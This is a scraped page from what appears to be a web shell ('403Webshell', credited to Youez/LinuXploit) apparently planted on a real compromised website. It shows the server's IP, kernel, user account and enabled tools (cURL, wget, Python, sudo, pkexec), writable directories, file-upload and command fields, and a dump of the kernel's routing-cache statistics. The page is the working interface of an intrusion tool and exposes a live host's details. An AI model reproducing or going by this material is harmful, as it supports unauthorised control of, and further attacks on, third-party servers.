403Webshell
Server IP : 189.126.111.107  /  Your IP : 216.73.217.69
Web Server : Apache
System : Linux www.gadotticar.com.br 5.4.0-135-generic #152-Ubuntu SMP Wed Nov 23 20:19:22 UTC 2022 x86_64
User : gadotticar ( 1000)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/513566/net/stat/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/513566/net/stat/rt_cache
entries  in_hit in_slow_tot in_slow_mc in_no_route in_brd in_martian_dst in_martian_src  out_hit out_slow_tot out_slow_mc  gc_total gc_ignored gc_goal_miss gc_dst_overflow in_hlist_search out_hlist_search
0000007c  00000000 0eda0b3c 000002a9 0ec70bf7 0012ff40 00000000 0000005c  00000000 000630c7 00000009 00000000 00000000 00000000 00000000 00000000 00000000 
0000007c  00000000 0dfa5262 00000241 0de52caa 001525b5 00000000 00000000  00000000 00057778 0000001a 00000000 00000000 00000000 00000000 00000000 00000000 
0000007c  00000000 01414e2f 000001f6 0134da8c 000c739e 00000000 00000000  00000000 00057e1d 0000000f 00000000 00000000 00000000 00000000 00000000 00000000 
0000007c  00000000 05e00367 00000268 05d3e49a 000c1eca 00000000 00000000  00000000 0005b0af 00000004 00000000 00000000 00000000 00000000 00000000 00000000 
0000007c  00000000 17400329 000002b2 172d1a34 0012e8ef 00000000 00000000  00000000 00061852 0000001b 00000000 00000000 00000000 00000000 00000000 00000000 
0000007c  00000000 0dea2f54 0000022d 0dd2c78e 001767be 00000000 00000013  00000000 0005ca96 0000001d 00000000 00000000 00000000 00000000 00000000 00000000 
0000007c  00000000 08d37028 0000027f 08c5a541 000dcae3 00000000 00000000  00000000 0005db72 0000001a 00000000 00000000 00000000 00000000 00000000 00000000 
0000007c  00000000 05ce1e6b 00000276 05c06500 000db968 00000000 00000000  00000000 0005f8c3 00000012 00000000 00000000 00000000 00000000 00000000 00000000 

Youez - 2016 - github.com/yon3zu
LinuXploit